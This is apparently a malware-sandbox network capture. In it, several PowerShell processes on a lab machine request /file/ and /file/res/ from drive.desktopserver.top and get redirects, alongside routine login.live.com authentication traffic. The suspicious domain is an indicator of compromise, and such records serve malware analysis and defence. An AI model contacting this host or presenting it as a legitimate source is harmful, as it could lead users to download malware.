Sep 30, 2024 18:58:25.070769072 CEST	858	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:24 GMT Location: https://drive.desktopserver.top/file/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d24y%2B0dtd5hPnDsy85kYB7etBuC%2Bu9ynU87a7TdSESqk5XixUpEs94EwNUSvpaSmUEp9NAMG8VWAJIf2C3VqHfzIrN56o1AqtnVgJbK2Y%2Bo82sDw29ZHfYRp39Je8Rer9zdmM3GM47IujA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f12c500f3f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Sep 30, 2024 18:58:25.092430115 CEST	858	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:24 GMT Location: https://drive.desktopserver.top/file/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=d24y%2B0dtd5hPnDsy85kYB7etBuC%2Bu9ynU87a7TdSESqk5XixUpEs94EwNUSvpaSmUEp9NAMG8VWAJIf2C3VqHfzIrN56o1AqtnVgJbK2Y%2Bo82sDw29ZHfYRp39Je8Rer9zdmM3GM47IujA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f12c500f3f-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49746	104.21.92.189	80	9208	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:24.398926020 CEST	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:25.070902109 CEST	862	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:24 GMT Location: https://drive.desktopserver.top/file/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FDrCwqrw%2FoiVrDxuNN5UZcDggyFpjJOSap%2BJ6FpPzLPgDaglUsRR6t5Ux8on8QXzMkdSNhJKsbhZ%2FQ%2FczzTFkBFWbkg9%2Bhjc1QZCAwtsXz9NwJrPC4ZHNQ7gWSJMknGUT4BtmWKaaxBZBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f1283b43ad-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Sep 30, 2024 18:58:25.100351095 CEST	862	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:24 GMT Location: https://drive.desktopserver.top/file/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=FDrCwqrw%2FoiVrDxuNN5UZcDggyFpjJOSap%2BJ6FpPzLPgDaglUsRR6t5Ux8on8QXzMkdSNhJKsbhZ%2FQ%2FczzTFkBFWbkg9%2Bhjc1QZCAwtsXz9NwJrPC4ZHNQ7gWSJMknGUT4BtmWKaaxBZBw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f1283b43ad-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49747	104.21.92.189	80	9180	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:24.473486900 CEST	173	OUT	GET /file/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:25.072390079 CEST	862	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:24 GMT Location: https://drive.desktopserver.top/file/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HQOyWubLf4g%2B9VP%2BM6L41h7OHSRCh%2B%2FVH9lE3VEAmPX295uqekNT1m99KyWBE3Tns2LyfdjTooYfD1ktWkaXhMiYsAkxQ1juNLcYOQOhDQkdmZVAYa%2BeuHNihhivSQT6PktkkqEDrPoSig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f1bc7a0f55-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>
Sep 30, 2024 18:58:25.188452005 CEST	862	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:24 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:24 GMT Location: https://drive.desktopserver.top/file/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HQOyWubLf4g%2B9VP%2BM6L41h7OHSRCh%2B%2FVH9lE3VEAmPX295uqekNT1m99KyWBE3Tns2LyfdjTooYfD1ktWkaXhMiYsAkxQ1juNLcYOQOhDQkdmZVAYa%2BeuHNihhivSQT6PktkkqEDrPoSig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c1f1bc7a0f55-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.5	49754	104.21.92.189	80	9196	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:34.980166912 CEST	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:35.507978916 CEST	866	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:35 GMT Location: https://drive.desktopserver.top/file/res/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wA3pnIXb9rXBxT9Jf%2FPyADjEOC7TOYZ7T1rcLL8le1scxFb9927TUtowfGCn1q96fk44Vxi%2BGFpg89q6znIg4BzM%2BZC%2Fad2CJihJSYych9VFq8wzlnHtLHnZs0ejQfBerrPmL7eMIQqE%2Fw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c23388cf4388-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.5	49755	104.21.92.189	80	8544	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:34.997261047 CEST	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:35.502593040 CEST	868	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:35 GMT Location: https://drive.desktopserver.top/file/res/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DmYdIUV4gc4ctRd8zqN3lQ0A1C4VHhX0eWnK%2FaCRyE0c%2Fi62tOXp2HJDVZVexGi49xJCPmR%2FtpSiRp1Str8PQFXnqb1%2B%2Bm3mYGR9M5Y%2BUUplEbkQ1nvW9sqpZj9lkRhXCLZZxjfmZzTwkA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c2338c4c6a57-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.5	49756	104.21.92.189	80	9064	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 18:58:35.044239044 CEST	177	OUT	GET /file/res/ HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: drive.desktopserver.top Connection: Keep-Alive
Sep 30, 2024 18:58:35.566787958 CEST	864	IN	HTTP/1.1 301 Moved Permanently Date: Mon, 30 Sep 2024 16:58:35 GMT Content-Type: text/html Content-Length: 167 Connection: keep-alive Cache-Control: max-age=3600 Expires: Mon, 30 Sep 2024 17:58:35 GMT Location: https://drive.desktopserver.top/file/res/ Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=u6YzkR0nb2M9d%2FcyLxi5W581b98ZepWUupFn7XzibJ2%2FR7f1wA%2BaIqaBtVtuloc6pv7fhxOVxwkl5trThKi4x4LVvigEXClmOpu6ZZbGrHpWMe%2BxaqHpIG58TbormxXig8FTU2XXJ1GSQA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Speculation-Rules: "/cdn-cgi/speculation" Server: cloudflare CF-RAY: 8cb5c233ede842eb-EWR Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.5	49714	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:05 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 3592 Host: login.live.com
2024-09-30 16:58:05 UTC	3592	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-09-30 16:58:07 UTC	653	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 30 Sep 2024 16:57:06 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" FdrTelemetry: &481=21&59=33&213=10&215=0&315=1&215=0&315=1&214=56&288=16.0.30374.3 Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C527_SN1 x-ms-request-id: b3b1d000-f429-4b0a-8b12-5c4157ffdab4 PPServer: PPV: 30 H: SN1PEPF0003FB37 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 30 Sep 2024 16:58:06 GMT Connection: close Content-Length: 11389
2024-09-30 16:58:07 UTC	11389	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.5	49717	40.126.32.133	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:08 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4694 Host: login.live.com
2024-09-30 16:58:08 UTC	4694	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-09-30 16:58:08 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Mon, 30 Sep 2024 16:57:08 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C527_SN1 x-ms-request-id: 511ec9ec-404e-4e98-b9b9-3d09f9830036 PPServer: PPV: 30 H: SN1PEPF0002F188 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Mon, 30 Sep 2024 16:58:08 GMT Connection: close Content-Length: 10901
2024-09-30 16:58:08 UTC	10901	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.5	49718	20.190.159.71	443

Timestamp	Bytes transferred	Direction	Data
2024-09-30 16:58:08 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4775 Host: login.live.com
